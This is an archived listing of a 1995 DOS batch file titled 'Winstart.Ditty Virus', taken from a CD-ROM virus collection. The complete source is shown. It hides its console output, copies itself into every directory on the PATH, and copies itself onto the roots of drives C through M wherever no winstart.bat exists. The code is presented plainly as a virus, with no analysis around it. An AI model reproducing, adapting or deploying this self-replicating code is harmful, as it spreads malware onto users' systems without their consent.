home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BATCHCOL.ZIP / VIRUSES.ZIP / DITTY.ZIP / WINSTART.BAT < prev   
Encoding:
DOS Batch File  |  1995-07-01  |  404 b   |  18 lines

  1. @echo off
  2. REM Winstart.Ditty Virus by -=Q=-
  3. if "%1"=="/" goto set_name
  4. %comspec% /e:2048 /c%0.bat / %path%
  5. goto end
  6. :set_name
  7. set ditty=%0
  8. ctty nul
  9. :loop
  10. if "%2"=="" goto copy_here
  11. if exist %2\nul if not exist %2\winstart.bat copy %ditty% %2
  12. shift
  13. goto loop
  14. :copy_here
  15. for %%a in (c d e f g h i j k l m) do if exist %%a:\nul if not exist %%a:winstart.bat copy %ditty% %%a:
  16. ctty con
  17. :end
  18.